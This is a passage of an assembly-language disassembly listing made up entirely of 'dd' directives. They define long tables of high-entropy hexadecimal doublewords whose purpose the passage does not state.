		dd 0A683C6A2h, 104CF0ACh, 2264E4A8h, 2A24D9E6h,	1428941Ch
		dd 2701FF46h, 0F5B2518Eh, 88280C32h, 8E072476h,	831B4623h
		dd 0D4C9B300h, 0AF7009DBh, 0A4036692h, 0C00606B8h, 0F2B6096Bh
		dd 0EA5625B9h, 0F02FA449h, 0B0C04C50h, 24AA770Ah, 0B70335D4h
		dd 66340820h, 260153C7h, 0EE194AE4h, 80BB0F23h,	60C7505h
		dd 0DEA41B5Dh, 84A7B132h, 0F0671E44h, 5AF5C22Bh, 1C120E00h
		dd 0D8530BF8h, 1483481Dh, 2C18DD00h, 0CCBFFE3Ah, 3001B426h
		dd 4020E86Bh, 380532D8h, 4882E030h, 5C80D724h, 68BDF343h
		dd 3AD0C4A3h, 5492F5C0h, 4C28B6E6h, 0D213903Eh,	0C4281DAh
		dd 90092458h, 9EE5F0h, 0B48F0A5Ah, 0B6D2D346h, 2C116491h
		dd 29A40C00h, 0F3EE11C0h, 25D52B03h, 0AB34B695h, 0F37EBC2h
		dd 2DCC3830h, 26FCE292h, 8F60B470h, 1DC03CA9h, 0EACAF936h
		dd 23A100E8h, 0E62E46DFh, 19006343h, 58F02C01h,	2094A3Ch
		dd 5B563606h, 88C311D2h, 0DB464DA0h, 6A2908A0h,	8C2D2E29h
		dd 824DD508h, 59D2BF0Bh, 7687A4A0h, 7903C654h, 0FA35F727h
		dd 6981E82Fh, 349B046Fh, 0C8AAC8BFh, 708C7150h,	0E4251156h
		dd 38E29EC2h, 8102BE10h, 0E4477752h, 0C4DD9080h, 0A8022637h
		dd 0ABDBF522h, 832CC066h, 10864002h, 9DC9611Dh,	0FC079BC7h
		dd 5042205Ch, 128A9C70h, 0F4AD08CCh, 3A4189D8h,	77D056CCh
		dd 47C58091h, 3E0C2224h, 0B4872404h, 5E988C90h,	61C7FCAh
		dd 37536D57h, 0FC49087Fh, 66730020h, 294933CAh,	0CDD1588Ch
		dd 0F0AD5909h, 141800D1h, 9AB621B8h, 90734EA0h,	535E903Ch
		dd 0CF0BA308h, 0F4129A24h, 0FB4D8140h, 1E1583Bh, 96E2A5BEh
		dd 9981333Eh, 6A1F54B8h, 5B084035h, 5601FF30h, 0B948C64Dh
		dd 4C230E24h, 0F45A3E14h, 19407886h, 6D494201h,	0F0A6AD9Dh
		dd 9C0DDFBh, 0CB2448h, 2BD3AF91h, 45D5BA33h, 63C8F9C5h
		dd 0A0FE0082h, 0D2598680h, 0FF0E00E6h, 6DBD4681h, 9F01A2B1h
		dd 4FE7CF35h, 30634024h, 0BB26D300h, 90EE30D0h,	47DBF11Fh
		dd 0D80B64C0h, 0B8C01906h, 0D9BBA068h, 0B7C13D96h, 0A467B294h
		dd 6609A54Ch, 0A80472C8h, 0CF7E4036h, 14A3BD8h,	0A53DA790h
		dd 0F4B96E9Bh, 40EF96ECh, 0BA0918FCh, 2BBC5855h, 0F4C34837h
		dd 1047A3A9h, 2404B630h, 2F1E045Fh, 0E176D44Eh,	6B0A11E4h
		dd 90A0A074h, 716E2030h, 4C21B090h, 43FD9163h, 0DB1D00B4h
		dd 0C6264F11h, 0A2EA1DECh, 90D3C027h, 3F8248EEh, 0D802309Bh
		dd 32B09EAh, 0E90185CFh, 81E458FCh, 78805786h, 3DEAC3A3h
		dd 0FE03F207h, 0EB9B33DCh, 81C2E1B2h, 0E4CF6D4h, 5D5940E6h
		dd 640E1183h, 76DFC10Ch, 13B8B097h, 1C573D5Ah, 92608393h
		dd 37BA2E9Eh, 0A7126C5Eh, 18E808F0h, 405521D9h,	6B068BEDh
		dd 6A86FE2Fh, 843015B0h, 7F01A8C6h, 0BEE0EB92h,	9CE9D4DAh
		dd 958A90A3h, 3745C866h, 1FF489D8h, 2656DCB1h, 0B206BE18h
		dd 1003BAE4h, 0D5D9E30Ah, 2C95C65h, 619101D4h, 5EFAD200h
		dd 0E8330298h, 9C802AFDh, 58BCB5F1h, 0F31DD4B3h, 14CCC112h
		dd 23F5581Ah, 1499F925h, 24E105Fh, 0F39707F4h, 0E59E8D50h
		dd 1900881Eh, 9C302941h, 1E08B955h, 1822D9D7h, 0E6942088h
		dd 11803E48h, 0D000AF87h, 74C92D3Ch, 0C1098BE8h, 2369C0h
		dd 529637Ch, 265B05C4h,	4A372B6Ah, 60D2FCh, 98E90E4Ch
		dd 5AFC9E1Fh, 79E8D909h, 5374A0F6h, 54F1E629h, 17B8D47Dh
		dd 40902EDCh, 0FF09515Ch, 36244CDEh, 8A08241Bh,	0DC680B60h
		dd 3366B898h, 8080194Dh, 4713CA5Bh, 1608C7Fh, 0CA637821h
		dd 8DA30641h, 19AC8744h, 80FCC700h, 432D555Dh, 54150091h
		dd 3EA5BAB0h, 0BD014CEDh, 0BF01C263h, 43E4FF8h,	9067782Ch
		dd 64C7DB98h, 8FD0EC0Fh, 4E69E015h, 2EEAD323h, 87942F29h
		dd 5A7ED24Dh, 676A09B4h, 0FCEE78B1h, 0FF4C2169h, 0FE5D7850h
		dd 8E208038h, 8C4DB2BEh, 731B44h, 70298E19h, 0B2176A88h
		dd 9986EC12h, 0EABA0C92h, 0FE184010h, 81E78094h, 0E002602Eh
		dd 18CF0442h, 58118E26h, 2788FDB2h, 8E1F6D80h, 764C5Bh
		dd 0FBD22AA6h, 7ABA118Ch, 70783813h, 0BF05A008h, 0D3806A3Bh
		dd 0F1860D3Ch, 24006F8Dh, 0EE979DAAh, 0A7A02CBh, 2A228F52h
		dd 34C8C1ECh, 815C309Bh, 55D8A0A8h, 340853FFh, 0CC32911Fh
		dd 0B82D8A4h, 7E389E2Ch, 0D4CF0024h, 54B012F9h,	0E8E46B5Ch
		dd 80E8C28h, 2EDD8605h,	577B8582h, 0ED9CE080h, 0F0850756h
		dd 55BE7A4Eh, 0B6EC00B8h, 202A2F90h, 0D38A0900h, 105BBD79h
		dd 0D2940C23h, 0CC706ECAh, 0D0FC483Bh, 0FD24DAD0h, 0E4418862h
		dd 0D856CDD9h, 0D5970168h, 47E630BEh, 228665Ah,	0B493BA4Ah
		dd 88F06010h, 55B8A8AAh, 0EC0B01D7h, 6AD4B272h,	236C72AFh
		dd 13BD1C70h, 625D1624h, 0D233F6Ch, 36C880C5h, 52EC2E38h
		dd 0C776C4ECh, 17C0E84Ch, 0B0D85AF5h, 50609CD8h, 0F300FF49h
		dd 76039320h, 1FDAB452h
		dd 26D8F2Dh, 95CDCB6h, 57915095h, 0DD926580h, 0CC0260CFh
		dd 0A6523BD7h, 852E5h, 2C611F38h, 32A9204Ah, 2358CA00h
		dd 0A4894807h, 20374C25h, 68C31A88h, 6747C9CAh,	3240FF18h
		dd 0CA700075h, 0E7AF4BF2h, 4D017C2Eh, 0AE2A69C2h, 0D8C51DD4h
		dd 3163B852h, 0E423C0C0h, 42227246h, 4C80E38h, 0CB477A6Ch
		dd 555CA4h, 0D2BF8434h,	0BEC93AC0h, 0DDB10100h,	0B84A4221h
		dd 471504A1h, 0C96B08B6h, 0FCFBF4h, 9BD4F12Dh, 1F0FCDBh
		dd 0D54D8A36h, 5323E596h, 46885190h, 88398505h,	97E800D3h
		dd 83A9D00Fh, 0FAA10178h, 0B834698Fh, 0EC378Bh,	2859BEB1h
		dd 0F8194D9Eh, 749E69h,	90DEF529h, 0F9013EAAh, 0D9E62B48h
		dd 1C206DE9h, 0E756275Ch, 6087E4CAh, 699B2072h,	36209510h
		dd 5DA6EA2Ah, 0A052C08h, 0A83139B8h, 6229DB4h, 95D29DE8h
		dd 0A30106Bh, 0AC0D203Dh, 91009CB6h, 7578E6Ah, 0C4B8E422h
		dd 0BF2B4741h, 3C2D4300h, 0B928070Ch, 611F8E0Dh, 0E01A2F4Dh
		dd 40168120h, 0EC645623h, 58F234B2h, 0B7C5DB33h, 6EA5C7E0h
		dd 0E956276Ah, 0D9A66C11h, 51230258h, 18FDD1F0h, 0CBD40022h
		dd 2F82E8C8h, 0DC04F56Eh, 5188797Ah, 46589CD6h,	0CA69121Bh
		dd 2C6F280Ah, 6EB4E849h, 73CA0971h, 202031CFh, 479ED291h
		dd 0E4008AE4h, 0EC2F6D40h, 129B54EBh, 202CF11Ah, 5EAD818h
		dd 9E441FFh, 1F0039ADh,	14139F90h, 0FE35D002h, 0BB4CEB57h
		dd 1264FB6Ah, 405DD241h, 0C292C488h, 9C00E7F4h,	86160EBEh
		dd 381AFBh, 1305A3B1h, 89E45CBh, 0E6A24644h, 0E9C88337h
		dd 1092EFC2h, 7E11E516h, 74B364E0h, 0BF081A47h,	70416949h
		dd 81418C7h, 29D861F5h,	504365C4h, 5F98F51Ch, 0D6E472A3h
		dd 0C0138A78h, 48C00878h, 0FCE92BF4h, 0D822883Eh, 67862600h
		dd 0D60C0AA1h, 0D39900BBh, 970501Ch, 13CA9FDh, 0C081AA58h
		dd 1E465490h, 0EECA5402h, 0FB31C745h, 0CA5C7110h, 0D82DC000h
		dd 0F7A0DABBh, 85930E5Ah, 9E817F08h, 6A8429B5h,	36E94440h
		dd 107390Eh, 975DC60Ah,	80637343h, 755AB7B1h, 4295FFh
		dd 70F0831Ah, 0A535CABAh, 0E6464100h, 0D056723Ch, 0E83441B9h
		dd 2051C8AEh, 2C840DC4h, 8C5ABCB0h, 7685AC01h, 6024ECF9h
		dd 164D2020h, 0F05BF67Bh, 0E420C470h, 0D1BC91ACh, 2E21856h
		dd 0BEECCF1Ch, 20C42D3Eh, 64FAE4E3h, 488358C9h,	9A7488h
		dd 57B4E15Dh, 0B8BEF6AEh, 937AE419h, 98100229h,	0F7070C7Dh
		dd 0EBB24BAFh, 15E22000h, 828BC37h, 544CAFAh, 10107849h
		dd 8B142B76h, 0B1E0DC20h, 683829A9h, 0C9FCBE83h, 8FDA6188h
		dd 0A07F8200h, 6D0C48Ch, 0AD4C0393h, 98400EEDh,	4D02A016h
		dd 9100786Eh, 782E06D5h, 0D37C23E0h, 0C5A654A1h, 4342C5Ch
		dd 0CB6A9A09h, 5C7DF088h, 0C100E4B9h, 0C25DC782h, 7E0CC346h
		dd 692D15F9h, 99521CDDh, 89B704E3h, 7CC8A483h, 0AED62F00h
		dd 6B1C8FA1h, 6A2929BBh, 208613E4h, 0B707A698h,	804A2B17h
		dd 0F0DB4300h, 0B9C015A5h, 1826D1F8h, 863E2ECAh, 0BA096110h
		dd 0E1F42568h, 8CF9805Bh, 0F0391C28h, 9F9300E5h, 64AD974Ch
		dd 0B31652EFh, 9484F198h, 4846FCE3h, 0E61EB0E0h, 0A21125h
		dd 9B86690Ch, 449E382Bh, 2F8ABCD0h, 188495D7h, 0C860CE66h
		dd 8D71C05Fh, 0A61793FAh, 94A458D0h, 0B9224015h, 45260618h
		dd 10CF9018h, 0B00B29h,	3BEC31E3h, 13F0976Ch, 9E2FE45h
		dd 68183505h, 0B2780CF6h, 5023CA03h, 90530DD3h,	2E8139C9h
		dd 1A9DCE6Dh, 14486885h, 0F017E54Eh, 18CB092Bh,	65C05788h
		dd 42340Ah, 0F8B52F25h,	0E44EDD52h, 381E7500h, 65EEC34Dh
		dd 328D00BAh, 0CE9925DFh, 1F49334Ch, 0CA55808Ch, 0B1CF4719h
		dd 5D6AC088h, 4C4CE3CAh, 25C40C78h, 58C01Ah, 9F7DD24Dh
		dd 0F96A305Ah, 4C1BD324h, 0E6D49901h, 30661FB2h, 0D92415F0h
		dd 0C6F45B00h, 0D3691B0Bh, 0B62C0A7Eh, 2EB83148h, 5F465ECCh
		dd 0C7547600h, 8A104D56h, 0BFF5ED00h, 0C9385769h, 8034243Eh
		dd 20CB9648h, 32DD4C4h,	0A3C00C07h, 5B705755h, 9FCCB5h
		dd 7A41939Ch, 224A4669h, 5AB6D8EBh, 1B88349Ch, 8E2360D0h
		dd 1521B255h, 171D9133h, 0C200207Ah, 63B57BBDh,	1ECB19D0h
		dd 3C2D6AF1h, 938C994h,	0B04C50B4h, 34EA2024h, 0F269892Ch
		dd 54E25135h, 0A5301BF2h, 57C01F8Dh, 0FEDF8BD2h, 32834CE1h
		dd 88FA7BC0h, 0F41AA200h, 0CDD9423Fh, 0A6790230h, 86731CC7h
		dd 64A0F860h, 3850F0BCh, 2FA920D0h, 2CA6B909h, 519C2459h
		dd 67131C40h, 88F59A5Bh, 6406E048h, 0B92F404Ah,	0EE0AA411h
		dd 0B01225F5h, 521F9824h, 56C800CBh, 0F7C497C0h, 0EAA0059Bh
		dd 0A45DB611h, 440E66Ch, 0FE7916E5h, 482CD261h,	7A6B9456h
		dd 9AD302C4h, 5C6CB62Dh, 6C0E5869h, 0F9A4B36Ch,	88384229h
		dd 81C8402Eh, 91EA6B3h,	0C570208Ah, 0F516048Ch,	6219D867h
		dd 0FE4A2168h, 7D1AC4F3h, 0B1DA381Bh, 36BAC8h, 0BB72DCAEh
		dd 542E6980h, 153FC38h,	129BA256h, 60FF2AD7h, 46040BD4h
		dd 0D5BF903Ah, 1657CD0h, 5CD0B4F5h, 28006546h, 690E8159h
		dd 240199FFh, 7B327ED8h, 687437BAh, 58531C50h, 0D539F0CBh
		dd 4B039492h, 3B473645h, 0FE99DA55h, 0C0129Ch, 0EDFDA9DCh
		dd 67486A2Ah, 0CF011074h, 578E29C0h, 169505B2h,	386C7558h
		dd 0F81ECE8Eh, 1FE4C035h, 73FFC006h, 0C1AC509Ch, 51538701h
		dd 342AF604h, 2F1CAF94h, 0C2BC5440h, 26A5835Fh,	0BC84194Ch
		dd 0EC325702h, 0D0788BAEh, 75BC4E50h, 72F8EB89h, 0F8A362CEh
		dd 0BCF28390h, 0F4178F01h, 0D557103h, 0E0674CF4h, 1354ECDBh
		dd 1CEE1E48h, 0FC8127BBh, 6C3F6DE3h, 8C68BC98h,	848B9A3Ch
		dd 83B70BD0h, 7E00CCADh, 75C9BBC0h, 1600A0DDh, 0DBF69B88h
		dd 0DAD0FFh, 13F92E02h,	226EB65Fh, 0EDF1CE16h, 0ACFCF0C5h
		dd 0E204E97Dh, 30FCF230h, 4300D04Dh, 78E2DE26h,	1645B10Bh
		dd 276D4CAEh, 424054CCh, 76C94A6h, 25F1C185h, 18272A53h
		dd 9468895Dh, 3243FABCh, 643A141Dh, 920D177Ch, 8C564CF0h
		dd 2F467Ch, 249AB9D3h, 0C42A039h, 29F1D9E6h, 914AECB0h
		dd 2B7C64B2h, 160C2521h, 10D43AA9h, 0BAC032FFh,	8B1E60B5h
		dd 0BE23E300h, 0C4B29996h, 90924AFCh, 876DFDB4h, 0AF20E0A4h
		dd 0FE2F093Ah, 48E83FB6h, 0B7811F05h, 387B8E02h, 93C2FD8h
		dd 0EAD2C2AFh, 70CFBC5Ah, 0C651B032h, 803BFC60h, 504DCF68h
		dd 0D7BA0350h, 0DFEBB34Ah, 0E6011B21h, 0A430402Ah, 0BD731683h
		dd 49E92100h, 5DF55648h, 0EF400024h, 98C544DFh,	312D9657h
		dd 5350800Ch, 708DD94h,	0DCB25F9Ch, 0CB3C08DEh,	3CE8405h
		dd 419228E4h, 0FD004270h, 3A8E2530h, 2246B2BBh,	1A801E22h
		dd 0A21F808Eh, 0D82ED3BDh, 6492F5EAh, 0E47DE1B0h, 4234A950h
		dd 9C406F5Eh, 89AE2B9Bh, 1349627h, 0B20FE38Dh, 8CFDEC79h
		dd 0FE347305h, 0CD04A62h, 690D3369h, 881D7888h,	13801B11h
		dd 0E64AF064h, 80BF110Bh, 0F678208Ah, 4822E4B7h, 0B1841C96h
		dd 64044557h, 6A7240C1h, 62FCE210h, 38E61A30h, 80075AD4h
		dd 1E2029E3h, 0ECAE0960h, 90DB272Bh, 0D20E5664h, 18509129h
		dd 0C0A82F58h, 8D71DADCh, 13089873h, 3A1724F0h,	3303103Ch
		dd 8192F6CEh, 0D0F32C60h, 405CADC2h, 2DC684ACh,	14303321h
		dd 0AC56DC05h, 6F7D8821h, 0D45BA423h, 34206158h, 78E21571h
		dd 8F3328F2h, 0C9308B40h, 6117025Dh, 5BD09E46h,	106AA0E9h
		dd 1FA6B115h, 1E891C1h
		dd 11A064EBh, 30A1FC0Ch, 0D882CB6h, 2B43826Bh, 98FA32BAh
		dd 1066C226h, 0D98A7179h, 0E728E9DEh, 0C9F994Dh, 7400C63Dh
		dd 11DED43Dh, 0F5F2E469h, 0A62C8404h, 9026660h,	0B8E059A9h
		dd 448694BCh, 0D8143243h, 84DC19CDh, 342169D2h,	0F28C230Ch
		dd 8D643022h, 0C4EEBD00h, 0B1E8385Bh, 0C3109183h, 3959BB34h
		dd 13BC48h, 0EA3FDC61h,	467B4C12h, 54788811h, 0CB43F900h
		dd 9510C21h, 0FEF6F5ECh, 4067562Ah, 2B4A7B43h, 1B233Ch
		dd 818C590Ah, 0F6E439E4h, 8F4C8B4Ch, 2413B02Ah,	0E5C4A4D2h
		dd 35BE1110h, 5C90A79h,	0CEFC5DB7h, 172913BCh, 14B82C1Dh
		dd 6F00BA70h, 11176CD5h, 0D0EE79E6h, 0E811F451h, 32231608h
		dd 37E54404h, 63CF431Dh, 7825C3FFh, 0B2A010EAh,	0C0764FD4h
		dd 611E748h, 939F85F2h,	885811A8h, 1B2401ACh, 0B62BFE19h
		dd 347255EDh, 7C29B510h, 0BE1F9E3Bh, 828600CCh,	0EA565BBCh
		dd 5AB4B2F9h, 6B9C40D0h, 560D27Fh, 0AD497E00h, 29887DE7h
		dd 5D0CE4A4h, 71BC1CBCh, 0F8BF1209h, 52C49095h,	20853AC1h
		dd 0D9E43E05h, 5AC0D229h, 0D9F19087h, 0B2CDC818h, 5610B484h
		dd 643B5546h, 64D1280h,	31FF1714h, 9FD3EC01h, 0CA8363FAh
		dd 3B10C02Eh, 5D32B80Dh, 0EAE7890h, 7EE4958h, 5840C14Eh
		dd 8A7B2081h, 5887506Ah, 2C385CF9h, 58344ACFh, 28C44E8h
		dd 0B2C9ACD2h, 0E8D4939Bh, 913B740h, 48F1F82Ch,	6A109891h
		dd 8B08C530h, 406E7CB4h, 0DC00EEACh, 0B037CDE8h, 17DD9008h
		dd 32D51480h, 24F96658h, 8632FF70h, 244A33Ch, 0D28F5B9Eh
		dd 0B0D255h, 88633A23h,	0C4441215h, 28F3C17Ch, 8C6CBCECh
		dd 0A0C1BC07h, 68103238h, 328C408h, 58B5DBF5h, 0E6801607h
		dd 0D05DE3E5h, 47CC0080h, 0EC321FF1h, 44A54EB6h, 346670h
		dd 11EA8659h, 0C611DE3Ah, 288DC6DFh, 124E7A0Eh,	10688CE7h
		dd 90355869h, 0F6E48892h, 38D84000h, 0FA77AC97h, 3E1500C4h
		dd 5819364Eh, 1254E4B2h, 8125E5BCh, 1074C333h, 12033A58h
		dd 0A03AAE7Ch, 36008C7Bh, 9DB684F7h, 55C319Fh, 839BD035h
		dd 39DC4009h, 2DE07701h, 1301F87Dh, 0DB291E2Bh,	7C6CBFE8h
		dd 46093980h, 7200169Fh, 0CD5C8634h, 0F130A36h,	0E623F0DFh
		dd 0EC8068EEh, 0F7F61FB2h, 0E08E2A29h, 4A1863D1h, 15A70100h
		dd 9498276h, 0AC2CBCACh, 373D084Ch, 0F25ACF20h,	6C237C2Eh
		dd 801E9B0Eh, 2004BCE6h, 4D212447h, 0DE910410h,	474A27Ch
		dd 4ECC4B2h, 96A58E4h, 5AB839A3h, 5FE448E5h, 0D1FDE60h
		dd 422D8276h, 0C3DC242Eh, 5DF51860h, 9309D814h,	8014B390h
		dd 3B75ACF3h, 2580EAA4h, 65642BAAh, 0E1002DF5h,	3A4C9730h
		dd 3EF9110h, 7DFB4E85h,	0BC8ABA71h, 4000FCD4h, 61C052AAh
		dd 0C0E8970Dh, 0CD293726h, 63716C35h, 38001F18h, 23E3F0E6h
		dd 60064678h, 9B86E192h, 7300BA50h, 16B83E8Eh, 0C840662Fh
		dd 19C0BE68h, 29D868F5h, 67A09301h, 4EF4C04Bh, 0C61F6D76h
		dd 0E8A0789Eh, 7E50923Dh, 0F24F0066h, 0C7A99DDFh, 0E00362DAh
		dd 9F4D3E61h, 6335D8CDh, 467600D3h, 7B446D37h, 489D55AAh
		dd 2E601C68h, 74DC8ED8h, 20A5346h, 0C2EAE9h, 88DE466Ah
		dd 0CC96E59Bh, 0A6009C9Eh, 0FF293A90h, 4EFFEB3h, 0CCAE6F70h
		dd 1164F438h, 2458662Eh, 95B1680h, 804E8FAEh, 554BBAD8h
		dd 3A660000h, 97A1E790h, 0B8C89000h, 0AA4CE89Fh, 81D80A61h
		dd 2F50EC13h, 128B05B9h, 41999B89h, 0F23C46C4h,	0A7E4334Dh
		dd 4080C008h, 0B5E4F5CBh, 97D2AA00h, 0DC1A11C6h, 56BA2A07h
		dd 65782ADCh, 424D0094h, 8FB4571Fh, 0CD2B499Fh,	0F404BC17h
		dd 94ACEA2Bh, 73E65B80h, 0FF03830Dh, 630504C9h,	1BC29047h
		dd 142C90A1h, 5C20334Ch, 18CA6280h, 3D877747h, 98CA6A87h
		dd 50E00A2h, 0E47CB89Fh, 0A0BC654Ch, 3BB69E08h,	50AC21F2h
		dd 10A317C9h, 3A0610B0h, 38AEB2E4h, 81C08378h, 189FF04Dh
		dd 90350788h, 21DBF4h, 9BBAAE08h, 0DA177305h, 7CB4876Eh
		dd 86943AB9h, 0D463C018h, 40012432h, 25DB2BF5h,	0EE815617h
		dd 4642861Fh, 693C24E6h, 0A5413025h, 0C8829EC0h, 130E4CBh
		dd 68EB1F74h, 2E49785Bh, 34CA020h, 0F284006Eh, 616AFCEEh
		dd 9807D1D0h, 0FA1F47C5h, 5ABBCBA2h, 0ACB901BCh, 58A62D13h
		dd 68446A40h, 0DE057B65h, 0DBC00221h, 0C180FA23h, 8A3CCCC0h
		dd 0C2424896h, 71C50E6Bh, 0A3ECB875h, 42148B2h,	728C63E8h
		dd 0E5270376h, 50E81E78h, 0F0D09AE9h, 0C602B477h, 0E0DCAE64h
		dd 2D2C495Eh, 0A5D587D9h, 9A520CF0h, 8F4D06BCh,	114278B6h
		dd 0BA586B00h, 56E294A2h, 11E4164Ah, 5AF840CAh,	29E68086h
		dd 8A2BBCA8h, 0BE169D00h, 41F593BBh, 8BCE010Bh,	0A87580E4h
		dd 0E56BE8E3h, 0A4589768h, 265B408h, 403E4E81h,	246226C1h
		dd 0CA02D83Ch, 4925185Ah, 5C1054F2h, 0EC026446h, 3681E40Eh
		dd 59121C78h, 208B0969h, 0DEC03F88h, 2A9E2BCFh,	178C3E60h
		dd 13443779h, 0C08C3673h, 4E02FE20h, 9BF453B6h,	0CB18803Ch
		dd 600AD439h, 0F86550ABh, 2BE30D23h, 38690802h,	4A5C7016h
		dd 9B2CC853h, 5CD02100h, 461F6B27h, 9594025Dh, 85F3EFC0h
		dd 0D47B3C66h, 0DA5B1200h, 0D9AA2C8h, 0BBC9426h, 98EB1371h
		dd 0E32025DAh, 0B953B9D9h, 4B1A11F4h, 57C8608Bh, 0AB6714C3h
		dd 972FD0DEh, 0F0432C44h, 0D7AB0788h, 3AD4B223h, 0EE099CF8h
		dd 20DEF36h, 2337963Ch,	0A0116BCFh, 0FE0E6709h,	4516B645h
		dd 0EC1723B0h, 0E5D3823Ch, 554A60D4h, 0A6460C85h, 0F5293F24h
		dd 1BE22A00h, 0A37160B6h, 3D560920h, 0D8074FCBh, 0D805481Ch
		dd 24E8A5DAh, 0F280CF12h, 0B50E1088h, 0EC64E527h, 82BE241Eh
		dd 0D90B3A49h, 0B66613E4h, 5DEFB030h, 95A5B06h,	8452CE80h
		dd 0E5384E07h, 49C91BE1h, 67EC48ACh, 4264003Bh,	9D154441h
		dd 1CE8DC58h, 8746240Fh, 3B3540ACh, 0FE346990h,	0B3E0C352h
		dd 0C7C7099Bh, 0C433C18Bh, 0E8143D90h, 69880519h, 0B8B7E9AEh
		dd 3A7E10B4h, 888BFB12h, 8E403958h, 8E09DADh, 0CCBC32E3h
		dd 33042176h, 0AE470E81h, 94435A44h, 5CC19A38h,	0D9E13BD4h
		dd 1899434h, 5472D524h,	0C6A4EB00h, 0C093F697h,	0FC528128h
		dd 33561344h, 4A69B2E9h, 0DF6281EFh, 0F8E43C32h, 37018C28h
		dd 737F9931h, 4BE27183h, 0E02A927Ch, 4F35DF7Ch,	86A00468h
		dd 0B134006Fh, 0CAC63BAh, 39E04510h, 0A496D251h, 0A386AA80h
		dd 1DA4F9BAh, 8EDC643Ah, 4F41C222h, 644AFE2Fh, 8E28658h
		dd 0EC9BF407h, 60CCB6F1h, 97732A47h, 0AB8337B8h, 80960F1h
		dd 6A005B28h, 0AF80B9DDh, 74EFB822h, 4C2C9FB5h,	0DA25D281h
		dd 0E0B46161h, 0F164D9F2h, 66181Ch, 79EDE94h, 0E13E9AFCh
		dd 8882D41Dh, 66B4C127h, 0FFF27072h, 14A1630h, 9B55967Bh
		dd 2084D24Dh, 0DC838A78h, 2656E88Ch, 0C0E0CAFDh, 68F49E2Dh
		dd 8F52F0C0h, 92FBBF07h, 0EC2F0164h, 88BED444h,	0F73180B1h
		dd 9C7D9BAFh, 770A272Eh, 0EF0C7C84h, 0E0B5A800h, 90133902h
		dd 308D404Ch, 75B28640h, 9C819DE4h, 7C58F845h, 8C27B828h
		dd 1649A207h, 750B56Dh,	94D1C4Ch, 84129610h, 0C0620C32h
		dd 0D91587C3h, 1E005C0h, 0B78ACCB9h, 74681DADh,	100FFE0Ch
		dd 91480928h, 26D40B70h, 0F8F4A2B0h, 0F0500C39h, 0F8871F41h
		dd 0E4D424B4h, 0EC74F8B8h, 0CF018C58h, 0BBF3FEEDh, 90473C3Eh
		dd 0E7018AB4h, 3F4E1AF1h, 93725800h, 0BC90C8E5h, 0FA1284C0h
		dd 369E00CAh, 9F67D056h
		dd 0FC111C9Fh, 669C5B80h, 0E500B98Eh, 2DBA7DC9h, 1C312EF8h
		dd 0D078BC06h, 0B0706FAFh, 3467BB25h, 193303C2h, 4611F0ADh
		dd 22F1E80Ch, 5ED2E818h, 55BC905Bh, 61009350h, 0EBA6E308h
		dd 27F6B45h, 6290E98Ah,	14E95F78h, 3C406F86h, 949D8454h
		dd 0CF24005Ch, 0CC53329Ah, 50F2590Ah, 6A5EA700h, 1FA8B92Fh
		dd 9ECE1922h, 0D4FC82Ch, 10BC2B3Fh, 5AC03301h, 46E29E81h
		dd 58DA1316h, 2491E4E4h, 9485C4Bh, 0F4523389h, 1256D620h
		dd 0F7AF1578h, 7CCCA0D4h, 0B559021Ah, 5792134Ah, 8AEC9000h
		dd 0D4048293h, 0A0A21F39h, 83485460h, 78AE9810h, 3E83848h
		dd 70123343h, 0A694041Dh, 10860AAFh, 0B4843D00h, 0AA8A44h
		dd 8069FC11h, 0E7FEE97Eh, 0B805B103h, 0BC148279h, 573840AAh
		dd 0A26FDBB5h, 0C8A2590h, 0A0267485h, 4D5201B0h, 3001B254h
		dd 593B8F5Bh, 94BD7A31h, 69C90058h, 0FEB5163Bh,	0CC18B1F5h
		dd 0B3708ED8h, 0F164051Fh, 0B0743527h, 41C05E98h, 5849C24Dh
		dd 9C561683h, 0C8D08B05h, 0BB4FC01Bh, 1E50A840h, 84066A4h
		dd 0DCB0B611h, 0D00C3C0Fh, 0FF640EBh, 0B5178448h, 4A06CC21h
		dd 9260144h, 58B8743Ch,	8327A08Ch, 0B47B1453h, 4F1094DAh
		dd 8969136Bh, 9DB94C90h, 968125ECh, 30637461h, 0BEEE34CCh
		dd 9FBD2C3Ah, 3930F8BFh, 2D6DAF9h, 73A05ED2h, 10E0C854h
		dd 0A1BDC3E4h, 86F62A58h, 0EC7AC70h, 326F3555h,	992C66E1h
		dd 472DCA3h, 6827702h, 40CF09B8h, 40A5EA6Ch, 0E4028DC4h
		dd 0F263AF7Ch, 83F854C3h, 4FCEF865h, 697DF190h,	0D2B8A995h
		dd 0D24640C8h, 1B2A22Fh, 41B62B78h, 6C879CA7h, 0BBF38781h
		dd 18C0744Ah, 189F418Ch, 20B2D250h, 2D3D858Dh, 5940B006h
		dd 802811CAh, 0CD2EF365h, 0BE00D867h, 9C9E2B9Ah, 3AD05A34h
		dd 55E23C8h, 80411F57h,	947EE460h, 25F1CD80h, 64646851h
		dd 344E4A45h, 31330384h, 0F8611B2Ch, 2D049879h,	0B46BBE7Bh
		dd 94425A9Ch, 23882B5Fh, 308F0055h, 0B6D0F2DFh,	0B1C8110Ch
		dd 0E8012140h, 0BF730FEAh, 92807CC9h, 4663F515h, 0A5D2EE00h
		dd 26E936D9h, 0FE350916h, 5C713D9Eh, 0F98AF609h, 182FD908h
		dd 0ECB117E6h, 0A89C5012h, 0A25B0113h, 4A803AB8h, 0D205D4A2h
		dd 325A71F1h, 108430B8h, 6028A5C1h, 1A24F4ACh, 5B0A440Ah
		dd 2891181Ch, 0FE93700h, 0DC1FCFEAh, 0B8A69491h, 32FC2174h
		dd 0C58CEF83h, 0F7F1E013h, 0E5AA2826h, 5BE00074h, 645145F0h
		dd 0D407EB60h, 6ABECE0Bh, 0BF98DCB0h, 0C8FF5E54h, 0E100C5B4h
		dd 3D45CA8Ah, 87AFBBh, 0B2F66EF1h, 1871C03Ah, 257CB049h
		dd 71E0E28Fh, 186579F8h, 486E0ECBh, 76805D4Ah, 0E8385477h
		dd 0C8808D4Fh, 48F0B6B7h, 784C41Dh, 88C088B3h, 0F8902AE3h
		dd 2FA8E58h, 0AEE94F27h, 90DC3F77h, 4FDE6C4h, 0CC175C0Eh
		dd 71B6480h, 0FF09AA6Bh, 0C06E3363h, 974B7Ch, 1DD75560h
		dd 0DDC0DBF5h, 1CB0184Bh, 0D8430B35h, 0BCF3095Dh, 0B0355158h
		dd 684435D0h, 9422AED1h, 88C4CFh, 0C9E158ACh, 29ECA6FEh
		dd 9843DC34h, 0EB1032AFh, 47F868C3h, 0A0783439h, 0F3A8F417h
		dd 6168004Dh, 144679E0h, 0A05B64B6h, 0AC0FDB80h, 0B2130414h
